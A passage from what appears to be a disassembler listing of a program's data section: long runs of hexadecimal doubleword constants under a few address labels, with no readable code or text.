4851F9A1h, 0C00E27CFh, 53802B7Ah, 9EDB18B5h dd 0E75EF703h, 4814E56Ah, 3900421Dh, 412D027Dh, 0E900FEA2h dd 54C66910h, 35B809h, 9D48D9A7h, 0A94D5B47h, 2829A60Ch dd 0B73EE0h, 303FB451h, 17DCF08Dh, 9235D800h, 0F68F323Dh dd 0A80D397Eh, 816EF380h, 2FC86787h, 0BAAC403h, 0D85AD872h dd 5D35D279h, 1005BC15h, 0C023D06Dh, 99451658h, 2651D616h dd 36E29641h, 7F8020B9h, 0AE47C93Fh, 0F05CC5C6h, 0E61D98C8h dd 0D906269h, 21C059EFh, 0E0061CBh, 83BB7089h, 24C9F3A1h dd 0A47AB98h, 3EE07C75h, 510DBA80h, 8DFC594Ah, 5FF87A09h dd 142F0ABh, 0DF62E990h, 0BFD39960h, 8D84805Ch, 8032FB41h dd 0E3CAA064h, 9E9E40Ch, 74D66F0Ah, 60EC0000h, 663EC839h dd 0FE4C8088h, 22B65C6Eh, 9EB9007Eh, 3F8FBF1Ah, 3500BA95h dd 0CC0D923Ah, 397FB85Bh, 200025A3h, 4C292753h, 8B2C2BADh dd 9D09F2ACh, 769480FAh, 18350D3h, 1730D077h, 496E15DCh dd 0F649A2F6h, 0C757E002h, 66F40388h, 7DF80CA0h, 7A2BE7F6h dd 0D36C0C17h, 0F4745F0Fh, 4C0E77D5h, 208563F6h, 0CA3CDB69h dd 0CF560073h, 16EB8E49h dd 0A900EA35h, 2BBD4205h, 0FFA386h, 0C231CE3Ch, 986F12B5h dd 39BC5F17h, 0FD4D6142h, 6C26024h, 1216002Dh, 6CE6DE43h dd 4B00E47Fh, 912ECDA8h, 0F59462h, 98C68933h, 0D3581707h dd 5E01A416h, 0C1329F43h, 8C7EE0B2h, 9F0F4862h, 0AB44EB00h dd 9B0CA9Fh, 3ADE6C0Eh, 8827E4A5h, 744421B0h, 0FEFF0001h dd 9124D145h, 653853F3h, 0DE400Ch, 0E315755Ah, 1EC22C34h dd 0BC861800h, 0A13ED91Bh, 82252652h, 4CA7406Ch, 54928124h dd 51A23B0Ch, 0DC1128h, 234FA441h, 0E610E37Ch, 240B5C90h dd 0F52E4D68h, 0DB9D1134h, 51680999h, 0C28B9BFFh, 276677F0h dd 60BD5502h, 5D6B5F46h, 50DD6BC0h, 0DA9ABE3Eh, 4B72EB01h dd 0C47E27ECh, 5D07094Bh, 5370B1FDh, 0C824ABFh, 6C2948D3h dd 46860356h, 82068108h, 5FDC750Fh, 819CDD52h, 9BDF9E2Ch dd 297A80Eh, 40EDB673h, 7FB80158h, 61D000Fh, 0E0FFC503h dd 2300B7CEh, 2508EB5Fh, 0D3D2724h, 14E853CCh, 3B703051h dd 8F6ACD3Ch, 0E0E3DF2Dh, 578145BFh, 542B040Ah, 0C6B5FE67h dd 48003367h, 95246B93h, 77707F07h, 0CE5EAA4h, 39A9447h dd 0AB20C6C4h, 0D6800269h, 0FDB336Fh, 341D24DEh, 0D6057CFh dd 8BC05388h, 59611ED3h, 0CBB7C058h, 1F23C081h, 0F20AE3Bh dd 2DDF04E7h, 0E4CD1826h, 6028C4h, 0FBB8EC8Ah, 614F7C5Eh dd 1509F0FEh, 8C296BFEh, 535D1Bh, 177A3C19h, 0FCFD4895h dd 4893006h, 8078661Eh, 0B85486E1h, 0C6D89723h, 0E1800DC3h dd 5DFBFA70h, 0F1B0350h, 0E0571F85h, 4EBD33D2h, 60C6AC19h dd 54BEE17h, 202C003Dh, 23C01AAh, 9D096146h, 2DDBF5h, 8AC6E46Dh dd 76E937CCh, 7B232056h, 0BFE4A0AEh, 0D678F600h, 0DFD88CB3h dd 3B3A90CCh, 0DD9EA74Bh, 5CED07E5h, 97FAC7E3h, 28FB0676h dd 58073674h, 5BEDDCCEh, 0E8F921DCh, 0D2EF30B4h, 0C9E25F11h dd 0D462D110h, 9AEB3860h, 11C0E876h, 0DCCCBD4Ch, 81F36047h dd 0B325C890h, 7A11EA60h, 98D1D2C2h, 0FA10C090h, 140A1F6Eh dd 7CD642h, 0E8FF784Fh, 3068F4C5h, 0A8653C0Ch, 1801A875h dd 0D0CE2373h, 1A0C3A2Bh, 10DA3F63h, 0A793000Fh, 57BC4F75h dd 0A500E8E4h, 0FE2E44F8h, 3F3534Ah, 475ADAE1h, 0CAF8BFDEh dd 577827FDh, 30B18420h, 4589E512h, 5D03A92Bh, 0A8B7B866h dd 95B1801Ah, 0F6F700D8h, 0EEF340B0h, 0A17A57AAh, 92D3F01h dd 0F0EFA303h, 6E9E9850h, 408500A2h, 84E126B2h, 3D0267DCh dd 88BD72CFh, 5790E07Ah, 8A9428A0h, 30660090h, 7BBE7C87h dd 76008816h, 5505F3EBh, 90D0012Dh, 2E4B1200h, 194800FAh dd 871A7C03h, 0DD43F707h, 20D06305h, 3934B25Fh, 729E1393h dd 858A0022h, 0A4C9C156h, 0A6587A01h, 3FB6D86Eh, 0F880ECCDh dd 55E0F079h, 5F1D9003h, 7A894A91h, 51080ECBh, 643F580Ah dd 0BC138894h, 7983B580h, 61C678h, 891E026h, 856D97E6h dd 0EB663Eh, 4FCEC0CCh, 0A0E7036Bh, 68B3D4h, 16A18D01h dd 0DEA0317Dh, 44BF9500h, 0CA979EB8h, 7C12004Eh, 0AF4146A4h dd 10264DB2h, 2E3C3E9Fh, 9E074681h, 4340A147h, 0F06AAC80h dd 42C90F9Ah, 4027770Fh, 73394015h, 0A602AA16h, 0B59A2F4Bh dd 0C7F960B8h, 0A8150068h, 0AA134AA0h, 141F51AFh, 10DECC78h dd 62433869h, 0C73EC385h, 6354184Ah, 3D400835h, 0B000A6C3h dd 124DD149h, 0B4CEA4h, 53CA852Eh, 6839A135h, 0A6841403h dd 0C0973167h, 0AAE2671h, 13306DD5h, 61AA0768h, 48B58332h dd 12983940h, 0CD8604AFh, 0E100A08h, 15C989F5h, 31E8407Eh dd 0B257F61Ah, 0BFE22E00h, 3F71FEDEh, 0C0167168h, 0EF141E30h dd 18C0FD38h, 0F13854Eh, 9D08A045h, 293900ACh, 99E40A21h dd 3A28A278h, 9F022C02h, 8B9D1FD8h, 0BC0CB108h, 8C0C88A3h dd 63099F3h, 83212E18h, 60BFE159h, 0F9687948h, 41C32F89h dd 339D50A9h, 0B84038E8h, 0B0CB190Ah, 0A98578F9h, 5808A24Eh dd 5CE47744h, 1D55F23Bh, 0B00E05F9h, 7DCE934h, 12789B5Ah dd 907B846Ah, 0DBF1FBCCh, 0C6289660h, 748E3AF3h, 0D2232846h dd 0A739090Ch, 0E4206022h, 801DD7DFh, 333F6F01h, 0B3ECA5E3h dd 0A1F886D0h, 0C2FFB80Ch, 0EEFC486Eh, 71050019h, 0C823B25Eh dd 0A30A2DB0h, 0CF9C5C7h, 9639E0Fh, 2B14A1ABh, 0B181DE09h dd 0F55D0687h, 88644E07h, 0B5E3814Ah, 540E31ECh, 0CDBC088Ch dd 1910B848h, 80B5A186h, 0F1B7B90Ch, 29AC198Eh, 94F82945h dd 1C13E0A2h, 175C0813h, 490F1440h, 401883FDh, 0F8C15C29h dd 8C8353E5h, 0E48D6D22h, 3E50A447h, 0D944C08Eh, 97F9869h dd 0F5C89088h, 6441AB96h, 2A223A92h, 71C5185h, 2E8830E8h dd 4E2445ADh, 6D10649Eh, 0C8B89F82h, 54C1402Ch, 24D2E05Dh dd 640C9433h, 80134A5Fh, 8C997AE6h, 57E5280Ch, 6B5168Ch dd 8C042A55h, 8444B8A2h, 0B4CBE0C5h, 41A9F408h, 1181D1B7h dd 86DDEF13h, 24E96024h, 64286524h, 0A380507Ah, 0C994626h dd 9E60ED24h, 2DA4C93Dh, 9B640C9Fh, 0F9C6042Ah, 0A88C66ADh dd 80148AA8h, 0C993C68h, 848925C2h, 9C9A558Ch, 423D3FA2h dd 2413BFCCh, 0F9A039B1h, 7B020B43h, 6F3469D2h, 88B71448h dd 7462C945h, 616A4C1Ah, 4B4250BEh, 62DEABA0h, 51A7C537h dd 816DA8DAh, 0B4322DF1h, 0D8320214h, 937C3095h, 52E06558h dd 842C6A4Ch, 0B26BFECAh, 0ECE8373Dh, 1068090Ch, 42AB0334h dd 39C0C23Bh, 0A840E5E9h, 0D3207818h, 2ADCA1AEh, 0F588B811h dd 0B3188093h, 8715C150h, 0FB70C728h, 0D88C889h, 449C2009h dd 3152FFD1h, 0A690043Ch, 1479BCDFh, 523C70E8h, 1C47D163h dd 0C899F487h, 23DC3558h, 8DC2D2A1h, 739B0043h, 50015C9Dh dd 636DB6AFh, 9BE3394Ah, 3573E741h, 62C2EF9Ch, 0A7148313h dd 8048E164h, 0EBD29C83h, 8BF42101h, 7541134Ch, 4D8D4C02h dd 5E120070h, 38C263A9h, 89A2A7FCh, 0F60481F4h, 0D7009B87h dd 30C1D869h, 0B1AEB3B7h, 446C1020h, 9F05D594h, 0A811982Eh dd 3CC202Dh, 851E8672h, 9820B209h, 96651210h, 72984006h dd 8E45F39Ch, 0A294AD06h, 60088595h, 0B4552156h, 6E0968F3h dd 470D610h, 34C12B58h, 0DC58BFFAh, 0E92D0C86h, 2A688D1Ch dd 34404Dh, 0CEF0473Dh, 302EDFEDh, 4919672Bh, 213A7C8Eh dd 78888005h, 161F5A86h, 1DFBE8FAh, 4B46546h, 0D0B22112h dd 64E98268h, 1852AE01h, 0F5572AE0h, 5E96298Ch, 3C7F93B1h dd 24EB9800h, 0B37AE057h, 3A30C0D8h, 0F88E465Bh, 0C89D0935h dword_4F0044 dd 0B1FCC80Ch, 4F4B0495h, 0C1949A1Eh, 487C7468h, 28C5F98h ; DATA XREF: ___:0042CC8Co dd 8E3FF39Ah, 6E1990BDh, 0F3B24B10h, 7579FF00h, 0DEA0C9D2h dd 6D8206F9h, 7977B5D8h, 0C08CAE0Fh, 28109859h, 410B6796h dd 9FA430B0h, 4F1E14E5h, 688010FBh, 66A9A52Eh, 29596095h dd 79527601h, 0FD17100h, 1DE7691Ch, 0F6EC00F3h, 0FC360558h dd 620799C2h, 64465E94h, 6870D042h, 71CF02Ch, 88838F8h dd 6B20F0EFh, 3D18FAF4h, 0E3309C4Eh, 0C5F92EEBh, 0E16F8510h dd 6ADC4568h, 1D28882Dh, 2B41FC04h, 78C050E4h, 0F6F2E0h dd 10AB1681h, 0FAFFB3DAh, 0DE411E00h, 66A2357Fh, 5A93382Eh dd 1CCAEB80h, 0C129EE08h, 81684569h, 0FD21ECF8h, 0DF0C34h dd 61686B28h, 0F9B546ADh, 309341F8h, 0D20088A2h, 86519AFAh dd 5FB686Ch, 8270ED25h, 489C0006h, 6F5832E0h, 0F79F4501h dd 609B5E1Fh, 0FC3020h, 7A984310h, 4567622Dh, 0A9346802h dd 83A8DFF7h, 6ED0A0h, 3EC05C69h, 6A31973Ch, 0DE8F57Eh dd 0B1913Bh, 0D418A329h, 7A4BFCF6h, 9560189Dh, 0C216A162h dd 21453A00h, 38D582E6h, 0ACD90070h, 0F9A3E7D0h, 104C15F1h dd 55A060A4h, 5858A93Eh, 5A806C95h, 2C24B591h, 5F27700h dd 0F5565330h, 9C65586Eh, 0B421970Ah, 4B988088h, 4A2D9DC8h dd 0D935D0CCh, 7321C0A1h, 1ADBC833h, 480F473Dh, 0E7DE0448h dd 66007A49h, 0B643E1F5h, 0B783EC90h, 0B30989D8h, 0DA3DDCBAh dd 0FD9F811Eh, 54E93E5Fh, 3D006023h, 6D9D35C2h, 4675650Ch dd 79A44C37h, 0E9D158F0h, 91D5000Bh, 0F41A228h, 5672189Ch dd 5045A50Eh, 21682FA4h, 0EE25ABBDh, 30E2C021h, 0E490F3B1h dd 0C096BCA2h, 0F3A95203h, 0E0CE82D4h, 302B9913h, 8348728Bh dd 75609CD1h, 11F7DFD2h, 50F0C074h, 7B762F8Fh, 54001498h dd 0CA675236h, 904F74DAh, 5B152050h, 6D4CE503h, 98AC8446h dd 1DAD3D58h, 0A6D12B39h, 3518B0D0h, 6C00B2B4h, 1AAB2759h dd 1DA3F607h, 801DE5EEh, 7C2D9565h, 0FCA0BCC9h, 35880FF8h dd 96D700C5h, 3481E523h, 0A3003E44h, 0A4F35599h, 29F5E3Dh dd 31B4CE25h, 8049452Bh, 0B0E3C459h, 7848EC24h, 7C5CC412h dd 618021F0h, 0A017FE3h, 6EA5E04Fh, 0B6A0BCE8h, 99F9EC12h dd 2E46C044h, 0EE62F488h, 977100A3h, 8CE6EF65h, 392EFD6Fh dd 5711B8A9h, 0B4202A25h, 626E7043h, 0FEAEC100h, 68577C18h dd 0C5EE00A9h, 94458E40h, 0BF20D1FBh, 331890A4h, 92490996h dd 0E8630909h, 651824ACh, 856A7CC0h, 9C9B094Ch, 0F4909568h dd 6170571Ah, 1C234301h, 0CCDFB086h, 0E0071C62h, 7E8EE56Eh dd 72D044A2h, 0C033E049h, 0BA00FB0Eh, 0AD1FF9D8h, 4A0C3C5h dd 62D58F4h, 31F0C13Ch, 7302245h, 0FEAFB1BCh, 0E7A7808Eh dd 98B3CE17h, 0D0B41854h, 9D7E59A3h, 0F55E060Ch, 661D809Eh dd 21870847h, 6A65D00h, 0AE50088Ah, 55F1162Bh, 52302063h dd 0BC26191Dh, 4C128842h, 61C1D420h, 0BFAC12E4h, 0AA20029h dd 0F221EFDEh, 53199B00h, 0E31ECB0Ch, 28D12C85h, 47AA8064h dd 21A93BE9h, 0D6C224A0h, 8784BE01h, 0BA7024Eh, 2CE00480h dd 52C02221h, 24194606h, 3FB173CDh, 0A48391E1h, 9BFB76E2h dd 1424FA8h, 7A7686F6h, 73AEC301h, 97B44C63h, 83E0EC35h dd 0B19C7AD2h, 0FEA501D8h, 2005E3FFh, 10410174h, 4C2EFC02h dd 0E3600460h, 6270EC9Dh, 68792071h, 0B43902E3h, 0E95C24C0h dd 45ECE906h, 0EB631BF0h, 21E171AEh, 0B5AC5062h, 4206CBF7h dd 7CCDACD7h, 82DB00D9h, 159052EBh, 94017A59h, 0FC54F666h dd 3DF4ED30h, 2B9F07A3h, 40A2D6BBh, 0CD3412ABh, 7009CB1h dd 0B59F9F0h, 0E57B002h, 90E07FE2h, 88816C69h, 259A18D3h dd 0B96000B0h, 9B1825EEh, 1A9AF4Ch, 9FF9027Fh, 0A62E291Ch dd 40C13070h, 0DCEE37E4h, 8CB23020h, 5806B304h, 8A628EF5h dd 69C3720h, 4A450714h, 9003B5FEh, 9618324Eh, 2E00277Ch dd 5542108Eh, 6B3F70h, 0CAD3C2DFh, 16C9B35h, 380DC125h dd 12AB86C4h, 4F715CE9h, 0C7C0442Ch, 1DE4EECAh, 12653702h dd 0E041F62Ch, 8044B4FCh, 0BE340F13h, 4CC2685Bh, 0C8403098h dd 0C32D9A3Bh, 0C8487280h, 952464B6h, 0A880F40Dh, 659D1D7Dh dd 0A26C5C62h, 818AB939h, 80B06B2Dh, 57F0F4E3h, 4006C46h dd 0F95570FBh, 0C77D5A89h, 4297FAC8h, 74C1D5F2h, 0F2E8727Fh dd 0DF7E3056h, 96242A16h, 0EFE36CD0h, 0CA5A07C4h, 0A34E8146h dd 0D1835B99h, 0B2F368A0h, 0B101EE0Ah, 950CAC69h, 1CC83965h dd 9D2C16F9h, 362B80CDh, 878070EEh, 396A173Ah, 0C6FF92B5h dd 9E4B3C02h, 3FA0B09Bh, 2D9911C8h, 84A2882Ah, 0EFC8476Fh dd 60988182h, 800E21ECh, 0D714E23Fh, 0CCC0DB0h, 9114E6C1h dd 6C994C98h, 204BC616h, 0B99D61D4h, 1C13A900h, 0E768956Dh dd 0AF871DC1h, 3BC4C077h, 5DA31242h, 0EB269F13h, 0B4803512h dd 569D5FBh, 4DE92FFh, 9324C15Fh, 2B970086h, 0D43CEDB6h dd 0C60E11C0h, 466055F9h, 5C769E40h, 0E0330568h, 416EFD04h dd 9489F5D4h, 0E8488295h, 70EBD219h, 9D160F84h, 983F2360h dd 44392085h, 0B6A2871Ch, 0B3206F14h, 33609C31h, 5B01308Dh dd 2143F9FCh, 0D1856D85h, 401E4BD2h, 7A44878Ch, 209553A2h dd 8A1354D0h, 0AC113C56h, 0A841500Bh, 0A94FD000h, 431E42CAh dd 10D4D3AAh, 0C14EA314h, 3083CD7Fh, 2747A178h, 2060CAE3h dd 84164330h, 0F5303D2h, 9E86A0A7h, 144CA6D0h, 42907760h dd 0DD85D6AEh, 0F003E18h, 1346CC7Ch, 4A6CA477h, 0E8172880h dd 1A3F1DD5h, 12550378h, 781CD67Ah, 31F0CA7Fh, 0C7781144h dd 8AC87A59h, 0B8A06B0Ch, 0A0AB4387h, 831B5307h, 88BA47D3h dd 84154402h, 505844C7h, 27ACCCB8h, 0D4A48907h, 0BFCB440Dh dd 0B03C8CE1h, 6E09F28Bh, 0A14B84C0h, 0B984981Ch, 0C88530ACh dd 68B0E66Ah, 0D03E51A5h, 0E5F1F459h, 1ED9070h, 63541EBCh dd 807521A7h, 93094B71h, 20C062D0h, 35019FBDh, 346A135Fh dd 0A434078Bh, 47A5B93h, 6B37420h, 50A1974Ch, 8BA31838h dd 42596820h, 0C3F44809h, 3A27956Fh, 59E39F18h, 44C44089h dd 0CD07A4D5h, 90408A9Dh, 384F3798h, 0E077C4C2h, 88B1C08Ch dd 81C9E3CDh, 2D106996h, 4B3118C7h, 0D1295901h, 490ACD2Ch dd 0A05F2A0Bh, 49F946F8h, 0A574FC4h, 2FD09758h, 0D00ADC3Ah dd 83D0A1D4h, 35B9F9F3h, 6121313Bh, 0B0E9B3B9h, 0F8876981h dd 7D70CF59h, 3202C1ECh, 1044655h, 0FE0E378h, 0D0318969h dd 0A34CA2B3h, 0C64C85D1h, 0FC995857h, 0D8A88661h, 0B9156018h dd 0C901E7C7h, 9630C362h, 54CCD8BFh, 0AA334C07h, 20CFB58h dd 858C88B7h, 1CB94406h, 0A9D12A06h, 0B5C308A4h, 745A4956h dd 2621B8B6h, 21916465h, 0C80A44A3h, 0A338627Ch, 5001E830h dd 856B289Fh, 13087C71h, 0A4EC428Dh, 236E4214h, 0AEC4501Bh dd 74C23D85h, 0B408428Dh, 7D824214h, 24F13943h, 4D110A87h dd 50B323C4h, 1085A568h, 0D43B886Ah, 99BD423h, 5C92B64Ch dd 22226C44h, 60924C0Eh, 34A14889h, 72E55505h, 1ADF0924h dd 50484BCEh, 44218440h, 34A0BD0Ah, 66329FEBh, 21A49059h dd 9E82CE5Bh, 44205178h, 2C0F5F0Bh, 901821A8h, 22105E31h dd 864C4C76h, 0B9616C61h, 98307E77h, 9CFD88AAh, 89569C5h dd 0ED6E4861h, 4684091h, 0B9F5C38Eh, 9B4CE888h, 0A8B21438h dd 6B54998h, 2DB62C0Ch, 1D4174h, 9D29D763h, 0E3CF8149h dd 7CD85500h, 1150FA92h dd 0A93113EDh, 40840014h, 9EC1F08Eh, 3516B498h, 0CC1234B8h dd 0A9FA740Eh, 8D1090DFh, 297160F0h, 0EE507A2Bh, 83B52127h dd 0F82E1D4Ch, 95C199Dh, 8E98B99h, 0C08D30A0h, 38C0884Dh dd 3C061D55h, 0A0FF5ACFh, 9400E25Ch, 874844Ch, 30212BB6h dd 6D3976E6h, 69E01D7Ah, 0AE980701h, 58FD29ECh, 4237081h dd 87E76540h, 0BD9F35BCh, 44BB767h, 0CE4908B0h, 0DC6328C9h dd 1400D6C7h, 0FA5A7A17h, 0C5F898h, 0A65DED34h, 0BC270792h dd 0C909BE00h, 3246EAD2h, 9C1F0045h, 96F6F325h, 0DC0E3F2Ah dd 8041246Bh, 0DF4223A8h, 2F3100A5h, 3406FC73h, 0E900B4D2h dd 2E972C41h, 1EB125F3h, 1993F32h, 692A3C01h, 98CDD12Bh dd 23103B28h, 3257C46h, 9DE8402Fh, 9891F32Ch, 0A999E42Eh dd 0D07C1A78h, 0D13F2407h, 29831FB4h, 2B3EC097h, 5260DAAh dd 1AB80B79h, 0FD81FB04h, 20401F3Bh, 50520B4h, 0D335A0F7h dd 30AA1828h, 9C1070C5h, 0F000EDFCh, 15287E9h, 635025Dh dd 2237D5B0h, 7C0318E8h, 3EB8F64Bh, 6080E3CBh, 7746591Eh dd 0DCFCFABCh, 820C0A00h, 1EE5F426h, 15C40190h, 0CBEAD548h dd 21FCE863h, 7900D478h, 7E59D36Fh, 0CA4840h, 72A02375h dd 0F1739647h, 1015C200h, 439A9D3Bh, 0E56E3A8Ah, 4618F9B0h dd 606F8E5Fh, 28FC9C70h, 0D30C408Fh, 0E953010Bh, 0B17B3738h dd 0F9B38608h, 0C0FBCB30h, 0A8A0928Fh, 801427Ch, 6BBF9F2Dh dd 30937DF0h, 671079EBh, 5B18BFF4h, 2D6887F7h, 0DCBB20D1h dd 0D60C3870h, 0F88A9580h, 7C81C03Fh, 6E6A575Bh, 8C0840DFh dd 820A0C69h, 223C1450h, 0D4E329EAh, 45B3D405h, 4F268C70h dd 9893471Bh, 7A5AC781h, 0BA88A1A6h, 0E0D2F852h, 0AE88AF1h dd 0D4AA1108h, 3A598098h, 0B91AD832h, 29030D03h, 28D00949h dd 0EB48D589h, 0D6714889h, 0D3092830h, 6B5C6491h, 1F035959h dd 7EE0FB63h, 0F200BC88h, 864F708Ah, 1B105F3h, 9B99422Ah dd 0D4E6461Fh, 0A6F04832h, 0DB1678B3h, 2C405002h, 0E054C39Bh dd 74261569h, 146E60Ah, 0E7E3B4D5h, 4CF51174h, 0EE003644h dd 4CBAFEC4h, 0A6B7912Ah, 30AB0504h, 34D293D0h, 5081C0Ch dd 0AB3DA3Ch, 6230CA20h, 891200Dh, 0D75F1CFh, 0F87A52F0h dd 44A0A7C5h, 0C4890AD0h, 0C8D03995h, 2195E653h, 0C57D13FFh dd 0CAED3068h, 78F4F141h, 3B81D40Fh, 147F0994h, 109F08D1h dd 897040E2h, 9BB90D40h, 70A7C9Ch, 0C78FD89h, 8CF30E8Ah dd 0D0350C8h, 5254FE12h, 7B32A428h, 75247A09h, 87917C48h dd 71448622h, 12738988h, 486D2472h, 22BF9174h, 0C012FDBEh dd 0CA48CB24h, 0A100C59Fh, 437092Eh, 43D7151Fh, 657FBC15h dd 2CD0B8D1h, 4A58684h, 8DD54D6h, 0ABBCA0D1h, 9879F6ECh dd 9D338B3h, 401FCCBEh, 0A669C30Ah, 70F0C972h, 4B74EC9Ah dd 53CF8C1Eh, 5B1F941Dh, 40327C1Eh, 744C02A4h, 6A002004h dd 39C912A6h, 22087009h, 370C1AFEh, 4AF47F04h, 1188CCCEh dd 3C06237Fh, 55012D05h, 0CA8B2929h, 1B045638h, 0F9392B40h dd 2A4CE240h, 9C8DF37h, 8518A0E0h, 7057FD04h, 0BD00BB50h dd 2ADBB286h, 30EED414h, 232108FCh, 38A5D690h, 1390158h dd 3A92E0C8h, 0F0D75488h, 18C0D5A4h, 0EF51B730h, 4FD205FCh dd 0FCB7CC5h, 9C591Ch, 5346DE4Ah, 28A4CEE9h, 532ACD2Fh dd 0B53601E4h, 86D30F47h, 0C97BAA28h, 1137C30h, 0C8231245h dd 0E004DF56h, 0D30F0D4Fh, 0C02E98FEh, 3406480Ah, 2CAA011Fh dd 0C94A2B40h, 32B6D011h, 36DC3F00h, 0B1F7412Eh, 0B0401C30h dd 0D0033E0Bh, 0DC222599h, 0DA3C1BA0h, 0D312B40Eh, 863E9FC6h dd 4D2A97D0h, 421A3D40h, 1C26B601h, 4924B31Fh, 4DD0F340h dd 14F0A6E8h, 0F47793Eh, 1497DC37h, 0CD98D830h, 4020299Ah dd 0D01B821Ch, 0B01359Dh, 0A5F94610h, 9ACDA2CBh, 65EC1560h dd 0A420FA9Ah, 0E85DEB02h, 32C9A24Ch, 0A498FD18h, 0E5026321h dd 20A22A04h, 1E2CB1D3h, 38C4F0A0h, 1C7CE098h, 9404FD7Fh dd 0BCF389Bh, 7FDF2680h, 1E1D370Ch, 142932A7h, 0D2E04048h dd 3E3ACFDh, 24AFC626h, 0A5A7D031h, 5F85D45h, 0EBDBA12Ah dd 1EB702Ah, 521FA36h, 0FED00656h, 0D3EC3Bh, 41FD969Ch dd 402597F8h, 934D44Ch, 0AE99D526h, 27208600h, 0FFC90928h dd 9820AD29h, 0B74E24A4h, 2EFD5704h, 0FFAB22Bh, 281898F0h dd 417EEE09h, 0D420974Ch, 357F1F6Ch, 2A5E809h, 4CAD2AECh dd 59EA1A74h, 1CC591E3h, 0BA0162D7h, 1E453040h, 2FE9A502h dd 5532B529h, 96929865h, 0A7995800h, 74F73C1Fh, 260578B5h dd 0FD02D3Bh, 67E2E96h, 403A329Ch, 0C0502026h, 0D13EE900h dd 1DF325A8h, 351E9BF8h, 738C0010h, 0D42F32FCh, 3C23B00Bh dd 3470012Ah, 0FED09C25h, 19692429h, 9C9E1FA0h, 6F7EBC3Fh dd 3C49603Bh, 0E858AC0Dh, 404A26B2h, 4060D8ACh, 2C461A69h dd 0C8CE32E8h, 5625DE6Bh, 0FB60B5D4h, 25A09426h, 0D05620B0h dd 0F8A5FE7Dh, 0B6291E3Ah, 0D460F317h, 2C214CE3h, 0C760E9B5h dd 0D027815Bh, 2AF3ECAEh, 0B81FA624h, 0B01E57E9h, 555CE2BFh dd 9AA284C3h, 691FE840h, 85F94CFEh, 0B1254630h, 72FF7C85h dd 0C7BDF70h, 0A01D85Fh, 0C430B62Ch, 0E6450E85h, 0CE40B482h dd 0DAF326E4h, 8730C50Ch, 0D5436298h, 0D340DCC1h, 28A62FC3h dd 20D342F8h, 8699C449h, 2C09D008h, 29C49C2Ah, 0DC8D49E4h dd 0D9C03438h, 25B07417h, 24402003h, 2EC6A750h, 0F846F869h dd 5C2D74A6h, 9A85202Ah, 212C2D20h, 8004F33Ch, 1FAA2542h dd 2A034C3h, 30692B58h, 3CE3D446h, 0E30AB0E6h, 183974D8h dd 4E500269h, 7D0CFBAEh, 0FD261C76h, 0C825965Ah, 1B105B84h dd 9CF1D54Bh, 85184E96h, 0C8809901h, 761B5625h, 68A55340h dd 0DC0221BCh, 25500136h, 1FD8C0B5h, 564BA39h, 0E6402DB1h dd 0CC1856B4h, 50A054F8h, 93A13E9h, 2B2E7752h, 0A2892097h dd 0F0A27501h, 4478213Fh, 2A97DA0Eh, 3CC9D346h, 79C7D43Ch dd 0BC3F4052h, 3C031B9Dh, 48239C2Bh, 2D25C1DCh, 172A8C70h dd 3AFDB34h, 0A3BB090h, 9CABBCA2h, 0A61C5007h, 0DC0321E8h dd 0D04125A3h, 1E3CA1A6h, 0B425503Dh, 409C8B0h, 0F68436Eh dd 0E00AF712h, 1F148034h, 1025BB34h, 0F725EC85h, 0F8344250h dd 981E2F37h, 33E190B8h, 0F0B51F28h, 0F97D48F6h, 41F454FEh dd 0E9971E03h, 1B0D14Dh, 3F31B421h, 0D030AA2Bh, 23279AE8h dd 96300EF3h, 0F7C9E0CCh, 38438038h, 36FC1052h, 2B7834F8h dd 0A3E886E1h, 0BE28322Ah, 0E123A60h, 0DC1C1041h, 2AB0F606h dd 2E072037h, 3297254Bh, 24B2821Eh, 0BBB87045h, 0C4D395E0h dd 84801228h, 0F2D7278Ch, 0E83CF830h, 0F3359D0Dh, 888AD809h dd 5DC2096h, 1011E998h, 7874D8D0h, 0CD10049Dh, 0C73A309Ah dd 228504h, 0DC423280h, 0E728C76Fh, 3F54B0DAh, 60C2F3F0h dd 54B9462Bh, 28056628h, 0E7F3261Ah, 2AC82218h, 98589242h dd 9670CEDCh, 168CA060h, 8C5CF841h, 9B12D0D4h, 440A3719h dd 4C69F432h, 92F09E64h, 8320134Fh, 0B7E7A830h, 502550E8h dd 6C9EAFD0h, 12F0A614h, 188BB61Fh, 0D4F2B0FEh, 715330C4h dd 52FAD611h, 2BE82097h, 0F179608h, 2715C2E7h, 0D0310C83h dd 37E94103h, 0A04AAE3Ah, 66520795h, 21BC080Fh, 210E58h dd 0E3A6D6B1h, 0C0E547FAh, 0ECA83259h, 4A80EA5Eh, 71740070h dd 8ED0DCB8h, 736FBB8Ah, 0BAF5A091h, 4F8DDBh, 8801FA5Eh dd 3E9CA393h, 2CD2CB00h dword_4F1044 dd 0A8985012h, 7940C058h, 0A22BA97h, 8E8A9006h, 0CE4807E4h dd 0D06FC8h, 0F5B47746h, 16EDCF6h, 0FA2AF8B7h, 8303EACDh dd 963EC920h, 9C8B823Bh, 0E6DD2320h, 0FE0BD301h, 0B98075BAh dd 3790AC99h, 0F50C9D08h, 854F0CEh, 0BC21C3C2h, 2D09044h dd 0DD002E78h, 5A2B453Dh, 0C049F4h, 48B587E9h, 0F79493D5h dd 1D78E06Fh, 0A77CEAC2h, 80881D3h, 0C226CEh, 27CAB952h dd 0D0415031h, 4F10F182h, 93158688h, 19CE0FBh, 21F9F825h dd 0A22FC8F2h, 44670470h, 81BE751Ch, 442985D4h, 0FA1C32B8h dd 10E96104h, 76737C00h, 0D5CB6E1Ah, 117F850Fh, 813B8339h dd 0F2590FD1h, 5C80C801h, 53D567B5h, 21EF09CCh, 0C8090312h dd 0FD689D89h, 0A9CF591Fh, 39A2DD00h, 91194Eh, 0B309EFDCh dd 21B72C57h, 15FFBE0Ah, 510D84A5h, 0EEF939F8h, 0E1FECCh dd 49391EDBh, 909CA0E7h, 9A7BBA77h, 0F2073005h, 0F8473F85h dd 90D059FAh, 0C19B5793h, 0BA6451E8h, 0BC440F0h, 1091DC1Eh dd 5A03CA44h, 794BE139h, 901210ECh, 0C02C78E7h, 0D2F9008Bh dd 7223EDF4h, 0D40E15C4h, 0C64104A1h, 0C218750h, 0E5BB7CA8h dd 8F12E240h, 741010ACh, 0AC850DCh, 3A290F8Ch, 88B14A80h dd 221080D1h, 1569F63Ah, 48FC6303h, 0D401468h, 0CECC7A50h dd 0A8A80069h, 0F66ADEE4h, 8008B010h, 0CAA48A67h, 0E2720890h dd 94D259Dh, 0C5C3838h, 2915465Eh, 0E4901C52h, 94234057h dd 0D739CC87h, 0E2AA5631h, 68052980h, 3126C58Ah, 